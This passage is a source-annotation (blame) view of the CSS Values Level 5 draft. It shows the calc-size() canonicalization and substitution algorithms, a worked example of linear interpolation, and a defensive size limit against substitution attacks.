href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2142" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2482" id="l2482"> 2482</a> </td> <td class="source"> If any [=substitute into a calc-size calculation=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2143" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2483" id="l2483"> 2483</a> </td> <td class="source"> returns failure, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2144" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2484" id="l2484"> 2484</a> </td> <td class="source"> the entire operation immediately returns failure. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2145" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2485" id="l2485"> 2485</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2146" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2486" id="l2486"> 2486</a> </td> <td class="source"> Note: After canonicalization, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2147" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2487" id="l2487"> 2487</a> </td> <td class="source"> a ''calc-size()'' function </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2148" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2488" id="l2488"> 2488</a> </td> <td class="source"> will only have a [=calc-size basis=] that's a keyword, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2149" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2489" id="l2489"> 2489</a> </td> <td class="source"> or the value ''100%''. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2150" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2490" id="l2490"> 2490</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2151" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2491" id="l2491"> 2491</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2152" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2492" id="l2492"> 2492</a> </td> <td class="source"> <details class=note> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2153" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2493" id="l2493"> 2493</a> </td> <td class="source"> <summary>Why are percentages simplified in this way?</summary> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2154" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2494" id="l2494"> 2494</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2155" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2495" id="l2495"> 2495</a> </td> <td class="source"> This percentage simplification </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2156" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2496" id="l2496"> 2496</a> </td> <td class="source"> ensures that transitions work linearly. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2157" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2497" id="l2497"> 2497</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2158" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2498" id="l2498"> 2498</a> </td> <td class="source"> For example, say that 100% is 100px, for simplicity. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2159" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2499" id="l2499"> 2499</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2160" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2500" id="l2500"> 2500</a> </td> <td class="source"> If you transitioned from `calc-size(100px, size * 2)` </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2161" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2501" id="l2501"> 2501</a> </td> <td class="source"> (resolves to 200px) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2162" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2502" id="l2502"> 2502</a> </td> <td class="source"> to `calc-size(50%, size - 20px)` </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2163" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2503" id="l2503"> 2503</a> </td> <td class="source"> (resolves to 30px) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2164" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2504" id="l2504"> 2504</a> </td> <td class="source"> by interpolating both the arguments, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2165" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2505" id="l2505"> 2505</a> </td> <td class="source"> then at the halfway point </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2166" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2506" id="l2506"> 2506</a> </td> <td class="source"> you'd have `calc-size(75px, size * 2 * .5 + (size - 20px) * .5)` </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2167" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2507" id="l2507"> 2507</a> </td> <td class="source"> (resolves to 102.5px), </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2168" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2508" id="l2508"> 2508</a> </td> <td class="source"> which is *not* halfway between 30 and 200 </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2169" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2509" id="l2509"> 2509</a> </td> <td class="source"> (that would be 115px). </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2170" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2510" id="l2510"> 2510</a> </td> <td class="source"> Interpolating one argument, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2171" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2511" id="l2511"> 2511</a> </td> <td class="source"> then substituting it into another calculation </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2172" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2512" id="l2512"> 2512</a> </td> <td class="source"> and interpolating that one too, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2173" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2513" id="l2513"> 2513</a> </td> <td class="source"> generally gives <em>quadratic</em> interpolation behavior. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2174" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2514" id="l2514"> 2514</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2175" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2515" id="l2515"> 2515</a> </td> <td class="source"> Instead, we substitute the basis arg into the calculation arg, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2176" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2516" id="l2516"> 2516</a> </td> <td class="source"> so you get `calc-size(percentage, 100px * 2)` </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2177" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2517" id="l2517"> 2517</a> </td> <td class="source"> and `calc-size(percentage, (size * .5) - 20px)`, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2178" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2518" id="l2518"> 2518</a> </td> <td class="source"> and when interpolated, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2179" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2519" id="l2519"> 2519</a> </td> <td class="source"> at the halfway point you get </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2180" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2520" id="l2520"> 2520</a> </td> <td class="source"> `calc-size(percentage, 100px * 2 * .5 + ((size * .5) - 20px) * .5)`, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2181" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2521" id="l2521"> 2521</a> </td> <td class="source"> which does indeed resolve to 115px, as expected. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2182" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2522" id="l2522"> 2522</a> </td> <td class="source"> Other points in the transition are similarly linear. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2183" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2523" id="l2523"> 2523</a> </td> <td class="source"> </details> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2184" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2524" id="l2524"> 2524</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2185" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2525" id="l2525"> 2525</a> </td> <td class="source"> <div algorithm> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2186" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2526" id="l2526"> 2526</a> </td> <td class="source"> To <dfn export>de-percentify a calc-size calculation</dfn> |calc|: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2187" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2527" id="l2527"> 2527</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2188" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2528" id="l2528"> 2528</a> </td> <td class="source"> 1. Replace every instance of a <<percentage-token>> in |calc| </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2189" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2529" id="l2529"> 2529</a> </td> <td class="source"> with ''(size * N)'', </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2190" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2530" id="l2530"> 2530</a> </td> <td class="source"> where N is the percentage's value divided by 100. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2191" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2531" id="l2531"> 2531</a> </td> <td class="source"> Return |calc|. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2192" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2532" id="l2532"> 2532</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2193" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2533" id="l2533"> 2533</a> </td> <td class="source"> Note: For example, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2194" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2534" id="l2534"> 2534</a> </td> <td class="source"> ''50% + 20px'' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2195" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2535" id="l2535"> 2535</a> </td> <td class="source"> becomes ''(size * .5) + 20px''. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2196" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2536" id="l2536"> 2536</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2197" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2537" id="l2537"> 2537</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2198" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2538" id="l2538"> 2538</a> </td> <td class="source"> <div algorithm> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2199" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2539" id="l2539"> 2539</a> </td> <td class="source"> To <dfn export>substitute into a calc-size calculation</dfn> |calc| </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2200" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2540" id="l2540"> 2540</a> </td> <td class="source"> a value |insertion value|: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2201" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2541" id="l2541"> 2541</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2202" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2542" id="l2542"> 2542</a> </td> <td class="source"> 1. If |calc| doesn't have the ''calc-size()/size'' keyword in it, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2203" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2543" id="l2543"> 2543</a> </td> <td class="source"> do nothing. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2204" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2544" id="l2544"> 2544</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2205" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2545" id="l2545"> 2545</a> </td> <td class="source"> 2. Otherwise, replace every instance of the ''calc-size()/size'' keyword </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2206" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2546" id="l2546"> 2546</a> </td> <td class="source"> in |calc| </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2207" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2547" id="l2547"> 2547</a> </td> <td class="source"> with |insertion value|, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2208" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2548" id="l2548"> 2548</a> </td> <td class="source"> wrapped in parentheses. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2209" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2549" id="l2549"> 2549</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2210" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2550" id="l2550"> 2550</a> </td> <td class="source"> 3. If this substitution would produce a value </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2211" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2551" id="l2551"> 2551</a> </td> <td class="source"> larger than an UA-defined limit, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2212" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2552" id="l2552"> 2552</a> </td> <td class="source"> return failure. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2213" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2553" id="l2553"> 2553</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2214" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2554" id="l2554"> 2554</a> </td> <td class="source"> Note: This is intentionally identical </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2215" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2555" id="l2555"> 2555</a> </td> <td class="source"> to the protection against substitution attacks </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2216" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2556" id="l2556"> 2556</a> </td> <td class="source"> defined for variable substitution; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2217" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2557" id="l2557"> 2557</a> </td> <td class="source"> see [[css-variables-1#long-variables]]. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2218" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2558" id="l2558"> 2558</a> </td> <td class="source"> However, the use-cases for very long ''calc-size()'' values </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2219" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2559" id="l2559"> 2559</a> </td> <td class="source"> are much less than for long custom properties, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2220" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2560" id="l2560"> 2560</a> </td> <td class="source"> so UAs might wish to impose a smaller size limit. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2221" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2561" id="l2561"> 2561</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l1626" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l2562" id="l2562"> 2562</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l1627" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l2563" id="l2563"> 2563</a> </td> <td class="source"><h3 id=resolving-calc-size> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l1628" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l2564" id="l2564"> 2564</a> </td> <td class="source">Resolving ''calc-size()''</h3> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l1629" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l2565" id="l2565"> 2565</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2226" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2566" id="l2566"> 2566</a> </td> <td class="source"> A ''calc-size()'' is treated, in all respects, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2227" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2567" id="l2567"> 2567</a> </td> <td class="source"> as if it were its [=calc-size basis=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2228" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2568" id="l2568"> 2568</a> </td> <td class="source"> (with ''calc-size()/any'' acting as an unspecified [=definite=] size). </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2229" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2569" id="l2569"> 2569</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2230" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2570" id="l2570"> 2570</a> </td> <td class="source"> When actually performing layout calculations, however, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2231" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2571" id="l2571"> 2571</a> </td> <td class="source"> the size represented by its [=calc-size basis=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2232" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2572" id="l2572"> 2572</a> </td> <td class="source"> is modified to be the value of its [=calc-size calculation=], </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2233" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2573" id="l2573"> 2573</a> </td> <td class="source"> with the ''calc-size()/size'' keyword </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2234" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2574" id="l2574"> 2574</a> </td> <td class="source"> evaluating to the [=calc-size basis's=] original size. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2235" title="93d39aca3acc: [css-values-5][editorial] Fix 